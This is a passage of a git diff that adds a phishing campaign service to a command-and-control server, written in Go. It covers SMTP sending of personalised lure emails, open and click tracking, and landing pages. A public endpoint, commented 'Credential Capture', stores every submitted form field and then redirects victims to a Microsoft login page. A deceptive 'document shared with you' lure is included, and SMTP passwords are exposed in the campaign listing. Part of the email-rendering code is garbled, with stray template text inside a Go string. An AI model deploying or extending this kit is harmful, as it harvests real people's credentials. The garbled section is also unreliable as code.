+ headers["From"] = fmt.Sprintf("%s <%s>", campaign.SenderName, from)
+ headers["To"] = to
+ headers["Subject"] = renderSubject(campaign.Subject, target)
+ headers["MIME-Version"] = "1.0"
+ headers["Content-Type"] = "text/html; charset=UTF-8"
+
+ var msg bytes.Buffer
+ for k, v := range headers {
+ msg.WriteString(fmt.Sprintf("%s: %s\r\n", k, v))
+ }
+ msg.WriteString("\r\n")
+ msg.WriteString(htmlBody)
+
+ addr := fmt.Sprintf("%s:%d", campaign.SmtpHost, campaign.SmtpPort)
+
+ if campaign.SmtpTLS {
+ return sendEmailTLS(addr, campaign.SmtpUser, campaign.SmtpPass, from, to, msg.Bytes())
+ }
+
+ var auth smtp.Auth
+ if campaign.SmtpUser != "" {
+ auth = smtp.PlainAuth("", campaign.SmtpUser, campaign.SmtpPass, campaign.SmtpHost)
+ }
+
+ return smtp.SendMail(addr, auth, from, []string{to}, msg.Bytes())
+}
+
+func sendEmailTLS(addr string, user string, pass string, from string, to string, msg []byte) error {
+ host := strings.Split(addr, ":")[0]
+
+ tlsConfig := &tls.Config{
+ ServerName: host,
+ }
+
+ conn, err := tls.Dial("tcp", addr, tlsConfig)
+ if err != nil {
+ return err
+ }
+
+ client, err := smtp.NewClient(conn, host)
+ if err != nil {
+ return err
+ }
+ defer client.Close()
+
+ if user != "" {
+ auth := smtp.PlainAuth("", user, pass, host)
+ if err = client.Auth(auth); err != nil {
+ return err
+ }
+ }
+
+ if err = client.Mail(from); err != nil {
+ return err
+ }
+ if err = client.Rcpt(to); err != nil {
+ return err
+ }
+
+ w, err := client.Data()
+ if err != nil {
+ return err
+ }
+ w.Write(msg)
+ w.Close()
+
+ return client.Quit()
+}
+
+// ============================================================================
+// Template Rendering
+// ============================================================================
+
+func renderEmailTemplate(template string, campaign Campaign, target Target, trackingID string) string {
+ baseURL := strings.TrimRight(campaign.BaseURL, "/")
+
+ trackingURL := fmt.Sprintf("%s/px/%s.png", baseURL, trackingID)
+ clickURL := fmt.Sprintf("%s/cl/%s", baseURL, trackingID)
+ landerURL := fmt.Sprintf("%s/lp/%s", baseURL, trackingID)
+
+ r := strings.NewReplacer(
+ "{{.FirstName}}", target.FirstName,
+ "{{.LastName}}", target.LastName,
+ "{{.Email}}", target.Email,
+ "{{.Company}}", target.Company,
+ "{{.Position}}", target.Position,
+ "{{.Custom}}", target.Custom,
+ "{{.TrackingURL}}", trackingURL,
+ "{{.ClickURL}}", clickURL,
+ "{{.LanderURL}}", landerURL,
+ "{{.Subject}}", campaign.Subject,
+ "{{.SenderName}}", campaign.SenderName,
+ "{{.SenderEmail}}", campaign.SenderEmail,
+ )
+ body := r.Replace(template)
+
+ if campaign.TrackOpens && !strings.Contains(body, trackingURL) {
+ pixel := fmt.Sprintf(`
`, trackingURL)
+ if idx := strings.LastIndex(body, "
+
+
+
+
+
+
+
+
+Document Shared With You
+ |
+
+
+
+
+|
+ Dear {{.FirstName}},
+
+A document has been shared with you that requires your review. Please click the link below to access it securely.
+
+
+
+If the button doesn't work, copy and paste this link into your browser:
+{{.ClickURL}}
+
+This link will expire in 24 hours.
+ |
+
+
+
+
+|
+ This is an automated notification. Please do not reply to this email.
+ |
+
+
+
+ |
+
+
+"); idx >= 0 {
+ body = body[:idx] + pixel + body[idx:]
+ } else {
+ body += pixel
+ }
+ }
+
+ return body
+}
+
+func renderSubject(subject string, target Target) string {
+ r := strings.NewReplacer(
+ "{{.FirstName}}", target.FirstName,
+ "{{.LastName}}", target.LastName,
+ "{{.Email}}", target.Email,
+ "{{.Company}}", target.Company,
+ "{{.Position}}", target.Position,
+ )
+ return r.Replace(subject)
+}
+
+// ============================================================================
+// CSV Parsing
+// ============================================================================
+
+func parseCSV(csvData string, campaignID string) []Target {
+ var targets []Target
+ lines := strings.Split(strings.TrimSpace(csvData), "\n")
+ if len(lines) < 2 {
+ return targets
+ }
+
+ header := strings.Split(strings.TrimSpace(lines[0]), ",")
+ colMap := make(map[string]int)
+ for i, h := range header {
+ colMap[strings.ToLower(strings.TrimSpace(h))] = i
+ }
+
+ for _, line := range lines[1:] {
+ line = strings.TrimSpace(line)
+ if line == "" {
+ continue
+ }
+ cols := strings.Split(line, ",")
+
+ t := Target{
+ ID: generateID(),
+ CampaignID: campaignID,
+ }
+
+ if idx, ok := colMap["email"]; ok && idx < len(cols) {
+ t.Email = strings.TrimSpace(cols[idx])
+ }
+ if idx, ok := colMap["first_name"]; ok && idx < len(cols) {
+ t.FirstName = strings.TrimSpace(cols[idx])
+ } else if idx, ok := colMap["firstname"]; ok && idx < len(cols) {
+ t.FirstName = strings.TrimSpace(cols[idx])
+ }
+ if idx, ok := colMap["last_name"]; ok && idx < len(cols) {
+ t.LastName = strings.TrimSpace(cols[idx])
+ } else if idx, ok := colMap["lastname"]; ok && idx < len(cols) {
+ t.LastName = strings.TrimSpace(cols[idx])
+ }
+ if idx, ok := colMap["position"]; ok && idx < len(cols) {
+ t.Position = strings.TrimSpace(cols[idx])
+ }
+ if idx, ok := colMap["company"]; ok && idx < len(cols) {
+ t.Company = strings.TrimSpace(cols[idx])
+ }
+ if idx, ok := colMap["custom"]; ok && idx < len(cols) {
+ t.Custom = strings.TrimSpace(cols[idx])
+ }
+
+ if t.Email != "" {
+ targets = append(targets, t)
+ }
+ }
+
+ return targets
+}
+
+func resultsToCSV(results []Result) string {
+ var buf bytes.Buffer
+ buf.WriteString("email,first_name,last_name,status,sent_at,opened_at,clicked_at,submit_at,remote_ip,user_agent,submit_data\n")
+ for _, r := range results {
+ buf.WriteString(fmt.Sprintf("%s,%s,%s,%s,%d,%d,%d,%d,%s,%s,%s\n",
+ r.Email, r.FirstName, r.LastName, r.Status,
+ r.SentAt, r.OpenedAt, r.ClickedAt, r.SubmitAt,
+ r.RemoteIP, r.UserAgent, r.SubmitData,
+ ))
+ }
+ return buf.String()
+}
+
+// ============================================================================
+// File Helpers
+// ============================================================================
+
+func (s *PhishingService) loadTemplate(name string) string {
+ path := filepath.Join(s.moduleDir, "templates", name)
+ data, err := os.ReadFile(path)
+ if err != nil {
+ return ""
+ }
+ return string(data)
+}
+
+func (s *PhishingService) loadLander(name string) string {
+ path := filepath.Join(s.moduleDir, "landers", name)
+ data, err := os.ReadFile(path)
+ if err != nil {
+ return ""
+ }
+ return string(data)
+}
+
+func (s *PhishingService) listFiles(subdir string) []string {
+ var files []string
+ dir := filepath.Join(s.moduleDir, subdir)
+ entries, err := os.ReadDir(dir)
+ if err != nil {
+ return files
+ }
+ for _, e := range entries {
+ if !e.IsDir() && strings.HasSuffix(e.Name(), ".html") {
+ files = append(files, e.Name())
+ }
+ }
+ return files
+}
+
+// ListCampaignsWithStats returns all campaigns enriched with their stats.
+func (s *PhishingService) ListCampaignsWithStats() []map[string]interface{} {
+ campaigns := s.ListCampaigns()
+ var result []map[string]interface{}
+ for _, c := range campaigns {
+ stats := s.GetCampaignStats(c.ID)
+ entry := map[string]interface{}{
+ "id": c.ID,
+ "name": c.Name,
+ "status": c.Status,
+ "smtp_host": c.SmtpHost,
+ "smtp_port": c.SmtpPort,
+ "smtp_user": c.SmtpUser,
+ "smtp_pass": c.SmtpPass,
+ "smtp_tls": c.SmtpTLS,
+ "sender_email": c.SenderEmail,
+ "sender_name": c.SenderName,
+ "subject": c.Subject,
+ "template": c.Template,
+ "lander": c.Lander,
+ "track_opens": c.TrackOpens,
+ "track_clicks": c.TrackClicks,
+ "base_url": c.BaseURL,
+ "redirect_url": c.RedirectURL,
+ "send_delay": c.SendDelay,
+ "created_at": c.CreatedAt,
+ "created_by": c.CreatedBy,
+ "total_targets": stats.TotalTargets,
+ "sent": stats.Sent,
+ "opened": stats.Opened,
+ "clicked": stats.Clicked,
+ "submitted": stats.Submitted,
+ "errors": stats.Errors,
+ }
+ result = append(result, entry)
+ }
+ return result
+}
diff --git a/AdaptixServer/extenders/phishing_service/pl_data.go b/AdaptixServer/extenders/phishing_service/pl_data.go
new file mode 100644
index 000000000..9542b9377
--- /dev/null
+++ b/AdaptixServer/extenders/phishing_service/pl_data.go
@@ -0,0 +1,261 @@
+package main
+
+import (
+ "crypto/rand"
+ "encoding/hex"
+ "encoding/json"
+ "fmt"
+ "strings"
+ "time"
+)
+
+// ============================================================================
+// Data Models
+// ============================================================================
+
+type Campaign struct {
+ ID string `json:"id"`
+ Name string `json:"name"`
+ Status string `json:"status"` // draft, running, paused, completed
+ SmtpHost string `json:"smtp_host"`
+ SmtpPort int `json:"smtp_port"`
+ SmtpUser string `json:"smtp_user"`
+ SmtpPass string `json:"smtp_pass"`
+ SmtpTLS bool `json:"smtp_tls"`
+ SenderEmail string `json:"sender_email"`
+ SenderName string `json:"sender_name"`
+ Subject string `json:"subject"`
+ Template string `json:"template"`
+ Lander string `json:"lander"`
+ TrackOpens bool `json:"track_opens"`
+ TrackClicks bool `json:"track_clicks"`
+ BaseURL string `json:"base_url"`
+ RedirectURL string `json:"redirect_url"`
+ SendDelay int `json:"send_delay"` // seconds between emails
+ CreatedAt int64 `json:"created_at"`
+ CreatedBy string `json:"created_by"`
+}
+
+type Target struct {
+ ID string `json:"id"`
+ CampaignID string `json:"campaign_id"`
+ Email string `json:"email"`
+ FirstName string `json:"first_name"`
+ LastName string `json:"last_name"`
+ Position string `json:"position"`
+ Company string `json:"company"`
+ Custom string `json:"custom"`
+}
+
+type Result struct {
+ ID string `json:"id"`
+ CampaignID string `json:"campaign_id"`
+ TargetID string `json:"target_id"`
+ Email string `json:"email"`
+ FirstName string `json:"first_name"`
+ LastName string `json:"last_name"`
+ Status string `json:"status"` // sent, delivered, opened, clicked, submitted, error
+ SentAt int64 `json:"sent_at"`
+ OpenedAt int64 `json:"opened_at"`
+ ClickedAt int64 `json:"clicked_at"`
+ SubmitAt int64 `json:"submit_at"`
+ UserAgent string `json:"user_agent"`
+ RemoteIP string `json:"remote_ip"`
+ SubmitData string `json:"submit_data"`
+ Error string `json:"error"`
+}
+
+// ============================================================================
+// ID Generation
+// ============================================================================
+
+func generateID() string {
+ b := make([]byte, 16)
+ rand.Read(b)
+ return hex.EncodeToString(b)
+}
+
+func generateTrackingID() string {
+ b := make([]byte, 12)
+ rand.Read(b)
+ return hex.EncodeToString(b)
+}
+
+// ============================================================================
+// Campaign CRUD
+// ============================================================================
+
+func (s *PhishingService) SaveCampaign(c Campaign) error {
+ data, err := json.Marshal(c)
+ if err != nil {
+ return err
+ }
+ return s.ts.TsExtenderDataSave(ExtenderName, "campaign:"+c.ID, data)
+}
+
+func (s *PhishingService) LoadCampaign(id string) (Campaign, error) {
+ var c Campaign
+ data, err := s.ts.TsExtenderDataLoad(ExtenderName, "campaign:"+id)
+ if err != nil {
+ return c, err
+ }
+ err = json.Unmarshal(data, &c)
+ return c, err
+}
+
+func (s *PhishingService) DeleteCampaign(id string) error {
+ _ = s.ts.TsExtenderDataDelete(ExtenderName, "campaign:"+id)
+ _ = s.ts.TsExtenderDataDelete(ExtenderName, "targets:"+id)
+ _ = s.ts.TsExtenderDataDelete(ExtenderName, "results:"+id)
+ return nil
+}
+
+func (s *PhishingService) ListCampaigns() []Campaign {
+ var campaigns []Campaign
+ keys, err := s.ts.TsExtenderDataKeys(ExtenderName)
+ if err != nil {
+ return campaigns
+ }
+
+ for _, key := range keys {
+ if strings.HasPrefix(key, "campaign:") {
+ data, err := s.ts.TsExtenderDataLoad(ExtenderName, key)
+ if err != nil {
+ continue
+ }
+ var c Campaign
+ if json.Unmarshal(data, &c) == nil {
+ campaigns = append(campaigns, c)
+ }
+ }
+ }
+ return campaigns
+}
+
+// ============================================================================
+// Target CRUD
+// ============================================================================
+
+func (s *PhishingService) SaveTargets(campaignID string, targets []Target) error {
+ data, err := json.Marshal(targets)
+ if err != nil {
+ return err
+ }
+ return s.ts.TsExtenderDataSave(ExtenderName, "targets:"+campaignID, data)
+}
+
+func (s *PhishingService) LoadTargets(campaignID string) []Target {
+ var targets []Target
+ data, err := s.ts.TsExtenderDataLoad(ExtenderName, "targets:"+campaignID)
+ if err != nil {
+ return targets
+ }
+ json.Unmarshal(data, &targets)
+ return targets
+}
+
+// ============================================================================
+// Result CRUD
+// ============================================================================
+
+func (s *PhishingService) SaveResults(campaignID string, results []Result) error {
+ data, err := json.Marshal(results)
+ if err != nil {
+ return err
+ }
+ return s.ts.TsExtenderDataSave(ExtenderName, "results:"+campaignID, data)
+}
+
+func (s *PhishingService) LoadResults(campaignID string) []Result {
+ var results []Result
+ data, err := s.ts.TsExtenderDataLoad(ExtenderName, "results:"+campaignID)
+ if err != nil {
+ return results
+ }
+ json.Unmarshal(data, &results)
+ return results
+}
+
+// LoadResultByTrackingID searches all campaign results for a specific tracking ID.
+func (s *PhishingService) LoadResultByTrackingID(trackingID string) (*Result, string) {
+ keys, err := s.ts.TsExtenderDataKeys(ExtenderName)
+ if err != nil {
+ return nil, ""
+ }
+
+ for _, key := range keys {
+ if !strings.HasPrefix(key, "results:") {
+ continue
+ }
+ campaignID := strings.TrimPrefix(key, "results:")
+ results := s.LoadResults(campaignID)
+ for i := range results {
+ if results[i].ID == trackingID {
+ return &results[i], campaignID
+ }
+ }
+ }
+ return nil, ""
+}
+
+// UpdateResult updates a specific result within its campaign's results.
+func (s *PhishingService) UpdateResult(campaignID string, result *Result) error {
+ results := s.LoadResults(campaignID)
+ for i := range results {
+ if results[i].ID == result.ID {
+ results[i] = *result
+ return s.SaveResults(campaignID, results)
+ }
+ }
+ return fmt.Errorf("result not found")
+}
+
+// ============================================================================
+// Campaign Stats
+// ============================================================================
+
+type CampaignStats struct {
+ TotalTargets int `json:"total_targets"`
+ Sent int `json:"sent"`
+ Opened int `json:"opened"`
+ Clicked int `json:"clicked"`
+ Submitted int `json:"submitted"`
+ Errors int `json:"errors"`
+}
+
+func (s *PhishingService) GetCampaignStats(campaignID string) CampaignStats {
+ results := s.LoadResults(campaignID)
+ targets := s.LoadTargets(campaignID)
+ stats := CampaignStats{
+ TotalTargets: len(targets),
+ }
+ for _, r := range results {
+ switch r.Status {
+ case "error":
+ stats.Errors++
+ case "submitted":
+ stats.Submitted++
+ stats.Clicked++
+ stats.Opened++
+ stats.Sent++
+ case "clicked":
+ stats.Clicked++
+ stats.Opened++
+ stats.Sent++
+ case "opened":
+ stats.Opened++
+ stats.Sent++
+ case "sent":
+ stats.Sent++
+ }
+ }
+ return stats
+}
+
+// ============================================================================
+// Helpers
+// ============================================================================
+
+func nowUnix() int64 {
+ return time.Now().Unix()
+}
diff --git a/AdaptixServer/extenders/phishing_service/pl_main.go b/AdaptixServer/extenders/phishing_service/pl_main.go
new file mode 100644
index 000000000..8f42b3980
--- /dev/null
+++ b/AdaptixServer/extenders/phishing_service/pl_main.go
@@ -0,0 +1,151 @@
+package main
+
+import (
+ "encoding/json"
+ "net/http"
+ "sync"
+
+ adaptix "github.com/Adaptix-Framework/axc2"
+)
+
+type Teamserver interface {
+ TsExtenderDataSave(extenderName string, key string, value []byte) error
+ TsExtenderDataLoad(extenderName string, key string) ([]byte, error)
+ TsExtenderDataDelete(extenderName string, key string) error
+ TsExtenderDataKeys(extenderName string) ([]string, error)
+
+ TsEndpointRegisterPublicRaw(method string, path string, handler func(w http.ResponseWriter, r *http.Request)) error
+ TsEndpointUnregisterPublic(method string, path string) error
+ TsEndpointExistsPublic(method string, path string) bool
+
+ TsServiceSendDataAll(service string, data string)
+ TsServiceSendDataClient(operator string, service string, data string)
+}
+
+const ServiceName = "Phishing"
+const ExtenderName = "phishing_service"
+
+type PhishingService struct {
+ ts Teamserver
+ moduleDir string
+ mu sync.RWMutex
+ stopChans map[string]chan struct{} // campaignID -> stop channel
+}
+
+var (
+ Ts Teamserver
+ ModuleDir string
+ Service *PhishingService
+)
+
+func InitPlugin(ts any, moduleDir string, serviceConfig string) adaptix.PluginService {
+ Ts = ts.(Teamserver)
+ ModuleDir = moduleDir
+
+ Service = &PhishingService{
+ ts: Ts,
+ moduleDir: moduleDir,
+ stopChans: make(map[string]chan struct{}),
+ }
+
+ Service.RegisterEndpoints()
+
+ return Service
+}
+
+func (s *PhishingService) Call(operator string, function string, args string) {
+ switch function {
+
+ case "campaign_create":
+ s.HandleCampaignCreate(operator, args)
+
+ case "campaign_list":
+ s.HandleCampaignList(operator)
+
+ case "campaign_delete":
+ s.HandleCampaignDelete(operator, args)
+
+ case "campaign_start":
+ s.HandleCampaignStart(operator, args)
+
+ case "campaign_stop":
+ s.HandleCampaignStop(operator, args)
+
+ case "targets_import":
+ s.HandleTargetsImport(operator, args)
+
+ case "targets_list":
+ s.HandleTargetsList(operator, args)
+
+ case "targets_delete":
+ s.HandleTargetsDelete(operator, args)
+
+ case "results_list":
+ s.HandleResultsList(operator, args)
+
+ case "results_export":
+ s.HandleResultsExport(operator, args)
+
+ case "templates_list":
+ s.HandleTemplatesList(operator)
+
+ case "landers_list":
+ s.HandleLandersList(operator)
+
+ case "template_preview":
+ s.HandleTemplatePreview(operator, args)
+ }
+}
+
+// sendResponse sends a JSON response back to all connected clients via the service data channel.
+func (s *PhishingService) sendResponseAll(msgType string, data interface{}) {
+ resp := map[string]interface{}{
+ "type": msgType,
+ "data": data,
+ }
+ jsonData, err := json.Marshal(resp)
+ if err != nil {
+ return
+ }
+ s.ts.TsServiceSendDataAll(ServiceName, string(jsonData))
+}
+
+// sendResponseClient sends a JSON response to a specific operator.
+func (s *PhishingService) sendResponseClient(operator string, msgType string, data interface{}) {
+ resp := map[string]interface{}{
+ "type": msgType,
+ "data": data,
+ }
+ jsonData, err := json.Marshal(resp)
+ if err != nil {
+ return
+ }
+ s.ts.TsServiceSendDataClient(operator, ServiceName, string(jsonData))
+}
+
+// sendEvent sends a real-time event notification to all clients.
+func (s *PhishingService) sendEvent(eventType string, data interface{}) {
+ resp := map[string]interface{}{
+ "type": "event",
+ "event": eventType,
+ "data": data,
+ }
+ jsonData, err := json.Marshal(resp)
+ if err != nil {
+ return
+ }
+ s.ts.TsServiceSendDataAll(ServiceName, string(jsonData))
+}
+
+// sendError sends an error message to a specific operator.
+func (s *PhishingService) sendError(operator string, message string) {
+ resp := map[string]interface{}{
+ "type": "error",
+ "message": message,
+ }
+ jsonData, err := json.Marshal(resp)
+ if err != nil {
+ return
+ }
+ s.ts.TsServiceSendDataClient(operator, ServiceName, string(jsonData))
+}
diff --git a/AdaptixServer/extenders/phishing_service/pl_tracker.go b/AdaptixServer/extenders/phishing_service/pl_tracker.go
new file mode 100644
index 000000000..3e4729900
--- /dev/null
+++ b/AdaptixServer/extenders/phishing_service/pl_tracker.go
@@ -0,0 +1,253 @@
+package main
+
+import (
+ "encoding/json"
+ "fmt"
+ "net/http"
+ "strings"
+)
+
+// 1x1 transparent GIF
+var transparentGIF = []byte{
+ 0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x01, 0x00, 0x01, 0x00,
+ 0x80, 0x00, 0x00, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x21,
+ 0xf9, 0x04, 0x01, 0x00, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x00,
+ 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x02, 0x02, 0x44,
+ 0x01, 0x00, 0x3b,
+}
+
+// RegisterEndpoints registers the public tracking endpoints.
+func (s *PhishingService) RegisterEndpoints() {
+ s.ts.TsEndpointRegisterPublicRaw("GET", "/px/:id", s.HandleTrackingPixel)
+ s.ts.TsEndpointRegisterPublicRaw("GET", "/cl/:id", s.HandleClick)
+ s.ts.TsEndpointRegisterPublicRaw("GET", "/lp/:id", s.HandleLander)
+ s.ts.TsEndpointRegisterPublicRaw("POST", "/sb/:id", s.HandleSubmit)
+}
+
+// extractPathID extracts the last segment of the URL path.
+// For /px/abc123.png it returns "abc123" (stripping .png extension)
+// For /cl/abc123 it returns "abc123"
+func extractPathID(r *http.Request) string {
+ path := r.URL.Path
+ parts := strings.Split(path, "/")
+ if len(parts) == 0 {
+ return ""
+ }
+ last := parts[len(parts)-1]
+ // Strip .png extension for tracking pixel
+ last = strings.TrimSuffix(last, ".png")
+ return last
+}
+
+func getRemoteIP(r *http.Request) string {
+ if xff := r.Header.Get("X-Forwarded-For"); xff != "" {
+ parts := strings.Split(xff, ",")
+ return strings.TrimSpace(parts[0])
+ }
+ if xri := r.Header.Get("X-Real-IP"); xri != "" {
+ return xri
+ }
+ return strings.Split(r.RemoteAddr, ":")[0]
+}
+
+// ============================================================================
+// GET /px/:id — Tracking Pixel
+// ============================================================================
+
+func (s *PhishingService) HandleTrackingPixel(w http.ResponseWriter, r *http.Request) {
+ trackingID := extractPathID(r)
+ if trackingID == "" {
+ w.Header().Set("Content-Type", "image/gif")
+ w.Write(transparentGIF)
+ return
+ }
+
+ s.mu.Lock()
+ result, campaignID := s.LoadResultByTrackingID(trackingID)
+ if result != nil && result.OpenedAt == 0 {
+ result.Status = statusMax(result.Status, "opened")
+ result.OpenedAt = nowUnix()
+ result.UserAgent = r.UserAgent()
+ result.RemoteIP = getRemoteIP(r)
+ s.UpdateResult(campaignID, result)
+
+ go s.sendEvent("opened", map[string]interface{}{
+ "campaign_id": campaignID,
+ "result": result,
+ })
+ }
+ s.mu.Unlock()
+
+ w.Header().Set("Content-Type", "image/gif")
+ w.Header().Set("Cache-Control", "no-store, no-cache, must-revalidate, max-age=0")
+ w.Header().Set("Pragma", "no-cache")
+ w.Write(transparentGIF)
+}
+
+// ============================================================================
+// GET /cl/:id — Click Tracker
+// ============================================================================
+
+func (s *PhishingService) HandleClick(w http.ResponseWriter, r *http.Request) {
+ trackingID := extractPathID(r)
+ if trackingID == "" {
+ http.Error(w, "Not Found", http.StatusNotFound)
+ return
+ }
+
+ s.mu.Lock()
+ result, campaignID := s.LoadResultByTrackingID(trackingID)
+ if result != nil && result.ClickedAt == 0 {
+ result.Status = statusMax(result.Status, "clicked")
+ result.ClickedAt = nowUnix()
+ result.UserAgent = r.UserAgent()
+ result.RemoteIP = getRemoteIP(r)
+ s.UpdateResult(campaignID, result)
+
+ go s.sendEvent("clicked", map[string]interface{}{
+ "campaign_id": campaignID,
+ "result": result,
+ })
+ }
+ s.mu.Unlock()
+
+ // Redirect to landing page
+ landerURL := fmt.Sprintf("/lp/%s", trackingID)
+ http.Redirect(w, r, landerURL, http.StatusFound)
+}
+
+// ============================================================================
+// GET /lp/:id — Landing Page
+// ============================================================================
+
+func (s *PhishingService) HandleLander(w http.ResponseWriter, r *http.Request) {
+ trackingID := extractPathID(r)
+ if trackingID == "" {
+ http.Error(w, "Not Found", http.StatusNotFound)
+ return
+ }
+
+ s.mu.RLock()
+ result, campaignID := s.LoadResultByTrackingID(trackingID)
+ s.mu.RUnlock()
+
+ if result == nil {
+ http.Error(w, "Not Found", http.StatusNotFound)
+ return
+ }
+
+ campaign, err := s.LoadCampaign(campaignID)
+ if err != nil {
+ http.Error(w, "Not Found", http.StatusNotFound)
+ return
+ }
+
+ landerContent := s.loadLander(campaign.Lander)
+ if landerContent == "" {
+ http.Error(w, "Not Found", http.StatusNotFound)
+ return
+ }
+
+ submitURL := fmt.Sprintf("/sb/%s", trackingID)
+ replacer := strings.NewReplacer(
+ "{{.FirstName}}", result.FirstName,
+ "{{.LastName}}", result.LastName,
+ "{{.Email}}", result.Email,
+ "{{.Company}}", findTargetCompany(s, result.CampaignID, result.TargetID),
+ "{{.Position}}", findTargetPosition(s, result.CampaignID, result.TargetID),
+ "{{.TrackingID}}", trackingID,
+ "{{.SubmitURL}}", submitURL,
+ "{{.Subject}}", campaign.Subject,
+ )
+ html := replacer.Replace(landerContent)
+
+ w.Header().Set("Content-Type", "text/html; charset=utf-8")
+ w.Header().Set("Cache-Control", "no-store, no-cache, must-revalidate, max-age=0")
+ w.Write([]byte(html))
+}
+
+// ============================================================================
+// POST /sb/:id — Credential Capture
+// ============================================================================
+
+func (s *PhishingService) HandleSubmit(w http.ResponseWriter, r *http.Request) {
+ trackingID := extractPathID(r)
+ if trackingID == "" {
+ http.Error(w, "Not Found", http.StatusNotFound)
+ return
+ }
+
+ r.ParseForm()
+ formData := make(map[string]string)
+ for key, values := range r.PostForm {
+ if len(values) > 0 {
+ formData[key] = values[0]
+ }
+ }
+
+ submitJSON, _ := json.Marshal(formData)
+
+ s.mu.Lock()
+ result, campaignID := s.LoadResultByTrackingID(trackingID)
+ if result != nil {
+ result.Status = "submitted"
+ result.SubmitAt = nowUnix()
+ result.SubmitData = string(submitJSON)
+ result.UserAgent = r.UserAgent()
+ result.RemoteIP = getRemoteIP(r)
+ s.UpdateResult(campaignID, result)
+
+ go s.sendEvent("submitted", map[string]interface{}{
+ "campaign_id": campaignID,
+ "result": result,
+ })
+ }
+ s.mu.Unlock()
+
+ redirectURL := "https://login.microsoftonline.com"
+ if campaignID != "" {
+ if campaign, err := s.LoadCampaign(campaignID); err == nil && campaign.RedirectURL != "" {
+ redirectURL = campaign.RedirectURL
+ }
+ }
+
+ http.Redirect(w, r, redirectURL, http.StatusFound)
+}
+
+// ============================================================================
+// Helpers
+// ============================================================================
+
+// statusMax returns the "higher" status in the progression chain.
+func statusMax(current string, candidate string) string {
+ order := map[string]int{
+ "sent": 1,
+ "opened": 2,
+ "clicked": 3,
+ "submitted": 4,
+ }
+ if order[candidate] > order[current] {
+ return candidate
+ }
+ return current
+}
+
+func findTargetCompany(s *PhishingService, campaignID string, targetID string) string {
+ targets := s.LoadTargets(campaignID)
+ for _, t := range targets {
+ if t.ID == targetID {
+ return t.Company
+ }
+ }
+ return ""
+}
+
+func findTargetPosition(s *PhishingService, campaignID string, targetID string) string {
+ targets := s.LoadTargets(campaignID)
+ for _, t := range targets {
+ if t.ID == targetID {
+ return t.Position
+ }
+ }
+ return ""
+}
diff --git a/AdaptixServer/extenders/phishing_service/templates/default_email.html b/AdaptixServer/extenders/phishing_service/templates/default_email.html
new file mode 100644
index 000000000..dabea2c8d
--- /dev/null
+++ b/AdaptixServer/extenders/phishing_service/templates/default_email.html
@@ -0,0 +1,54 @@
+
+
+